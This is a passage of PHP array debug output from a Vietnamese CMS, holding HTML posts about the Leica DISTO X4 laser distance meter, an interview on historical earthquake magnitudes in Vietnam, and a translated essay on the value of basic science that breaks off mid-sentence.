mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-18', 'status' => '1', 'view' => '84630', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '416', 'name' => 'VN từng có động đất đến 8 độ Richter?', 'code' => null, 'alias' => 'vn-tung-co-dong-dat-den-8-do-richter', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Các nghiên cứu khoa học khẳng định động đất mạnh nhất tại VN chỉ có thể đạt mức 7,5 độ Richter. Tuy nhiên, sau những nghiên cứu mới nhất và sau một số trận động đất mạnh hơn dự báo xảy ra trên thế giới, PGS.TS CAO ĐÌNH TRIỀU - Phó chủ tịch kiêm Tổng thư ký Hội Địa vật lý VN - đã đưa ra cảnh báo cần xem lại mức động đất cực đại tại VN.</div> <div> Ông Triều nói:</div> <div> <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (6).jpg" style="width: 250px; height: 140px;" /><br /> </div> <div> - Trước khi xảy ra động đất mạnh tại Sumatra (Indonesia) năm 2004 thì tkhu vực này hầu như động đất rất yếu và sau động đất năm 2004 thì vùng này đã xảy ra rất nhiều trận động đất, thậm chí có cả hoạt động núi lửa. Ở Nhật Bản cũng vậy, sau trận động đất ngày 11-3 cũng đã xuất hiện nhiều trận động đất khác xảy ra tiếp theo.</div> <div> </div> <div> Tại VN, chúng tôi nghiên cứu thấy vùng ven biển Nam Trung bộ trong thời gian trước năm 2005 gần như không quan trắc thấy động đất nhưng từ năm 2005 trở lại đây đã xuất hiện động đất nhiều. Đấy là bắt đầu thời kỳ hoạt động trở lại của động đất.</div> <div> </div> <div> <strong>* Liệu có phải đó là dấu hiệu sẽ xuất hiện động đất mạnh tại VN?</strong></div> <div> </div> <div> - Theo nghiên cứu của chúng tôi, có thể đến năm 2015 sẽ có nguy cơ lớn xảy ra động đất mạnh dưới 7 độ Richter ở Tây Bắc. Đây là kết quả nghiên cứu dự báo động đất trung hạn (thời gian từ 5-10 năm). </div> <div> </div> <div> Nhược điểm của dự báo trung hạn là chỉ dự báo được trong một khoảng thời gian dài và trong một vùng tương đối rộng, không chính xác được điểm nào. Ví dụ muốn nghiên cứu cho vùng Tây Bắc thì phải nghiên cứu sang cả Lào. Còn dự báo ngắn hạn có thể chính xác hơn về vị trí nhưng VN chưa làm được.</div> <div> </div> <div> <strong>* Động đất mới đây tại Nhật Bản đã vượt qua dự báo của các nhà khoa học Nhật Bản, vậy các nhà khoa học VN đặt vấn đề xem lại dự báo động đất cực đại tại VN như thế nào?</strong></div> <div> </div> <div> - Theo kết quả nghiên cứu được công bố chính thức của Viện Vật lý địa cầu, động đất cực đại tại VN có thể đạt tới 7-7,5 độ Richter đối với khu vực đứt gãy sông Cả (ven biển Nghệ An). Khu vực Tuần Giáo (Lai Châu) có thể xảy ra động đất 7 độ Richter. Đến nay VN vẫn chưa có trận động đất nào mạnh hơn mức các nhà khoa học dự báo.</div> <div> </div> <div> Nếu mức độ xảy ra trong giới hạn đã dự báo thì không cần thay đổi dự báo, chỉ khi nào động đất xảy ra vượt qua mức đấy thì phải xem xét, đánh giá lại để có thể có kết luận mới về động đất cực đại. Tuy nhiên, trận động đất tại Sumatra năm 2004 là siêu động đất, đã vượt qua dự báo của các nhà khoa học. Trận động đất ở Nhật Bản hôm 11-3 cũng vượt qua dự báo, gây ra sóng thần cao đến 11,5m. Vì thế, chúng ta cũng phải nhìn nhận lại. Các nhà khoa học cần phải tiếp cận những phương pháp mới hơn để cho ra kết quả tốt hơn.</div> <div> </div> <div> <strong>* Nghĩa là rất cần thiết phải xem lại động đất cực đại tại VN?</strong></div> <div> </div> <div> - Những kết luận chúng ta đưa ra về động đất cực đại trước đây chỉ phản ánh thực tế trình độ khoa học của VN lúc đó nên chúng ta không thể dừng ở đó được. Từ năm 2004 chúng tôi đã tiến hành khảo sát động đất cổ, sóng thần cổ tại VN. Qua quá trình khảo sát, đánh giá động đất cổ trên đứt gãy Phong Thổ (Lai Châu), chúng tôi nghi ngờ cách đây khoảng 480-530 năm từng xảy ra động đất mạnh 8 độ Richter trên đứt gãy này. Hay qua nghiên cứu chúng tôi nghi ngờ từng có sóng thần xảy ra cách đây 3.900-4.100 năm tại vùng ven biển Nghệ An với độ cao của sóng khi vào đến bờ từ 10-15m, tức là phải có động đất mạnh ngoài biển. Nhưng những kết luận này còn cần phải được chứng minh chắc chắn, được khẳng định thì mới công bố và điều chỉnh lại các kết quả nghiên cứu của giai đoạn trước.</div> <div> </div> <div> <strong>* Cơ sở nào để các nhà khoa học nghi ngờ có động đất cổ xảy ra tại Phong Thổ mạnh tới 8 độ Richter?</strong></div> <div> </div> <div> - Chúng tôi phát hiện những sạt lở rất lớn và thấy rằng chúng chỉ có thể xảy ra trong trạng thái bị tác động đột ngột chứ không phải sạt lở thông thường. Các sạt lở này cũng chỉ có thể được gây nên bởi một trận động đất mạnh. Qua tính toán, chúng tôi nghi ngờ có thể đã xảy ra động đất mạnh 8 độ Richter.</div> <div> </div> <div> <strong>* Các kết luận trước đây về động đất tại VN có đáng tin cậy không?</strong></div> <div> </div> <div> - VN có trạm quan trắc động đất đầu tiên vào năm 1924 tại Đài vật lý địa cầu Phủ Liễn nhưng năm 1944 trạm đã bị phá hủy do chiến tranh. Năm 1957 trạm mới được khôi phục. Năm 1961 đặt thêm trạm ở Sa Pa. Năm 1967 có thêm trạm ở Bắc Giang. Sau năm 1975 mới hình thành mạng lưới trạm quan trắc. Đến nay cả nước có 24 trạm. Do hệ thống trạm quan trắc hình thành muộn nên đến giờ chúng ta mới quan trắc được động đất mạnh nhất là 6,7 độ Richter xảy ra tại Tuần Giáo năm 1983. Do đó, có thể nói số liệu quan trắc động đất của VN yếu và chỉ trong thời gian ngắn trong khi chu kỳ động đất ở VN có thời kỳ yên tĩnh rất dài.</div> <div> </div> <div> Về tư liệu lịch sử, chúng ta cũng chỉ có hơn 100 tư liệu ghi lại động đất xảy ra trong quá khứ, trong đó có những tư liệu chúng tôi đánh giá đã có động đất mạnh 6,8 độ Richter xảy ra năm 1935 tại Điện Biên. Nhưng tư liệu cha ông mình viết hơi sơ lược nên khi đánh giá về động đất cực đại ở VN vẫn cần phải xem xét cẩn thận hơn.</div> ', 'images' => '201606210641583637d3fd9b55ccec2ee694e7e450cd6d.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-18', 'status' => '1', 'view' => '108261', 'slug' => 'vn-tung-co-dong-dat-den-8-do-richter', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '721', 'rght' => '722', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '415', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. </div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/2kh.jpg" style="width: 198px; height: 221px;" /><br /> </div> <div> C.H. Llewellyn Smith</div> <div> <br /> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> <br /> <strong>2.1. Những đóng góp cho văn hóa.</strong></div> <div> <br /> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> <br /> <strong>2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</strong></div> <div> <br /> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> <br /> <strong>2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</strong></div> <div> <br /> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế 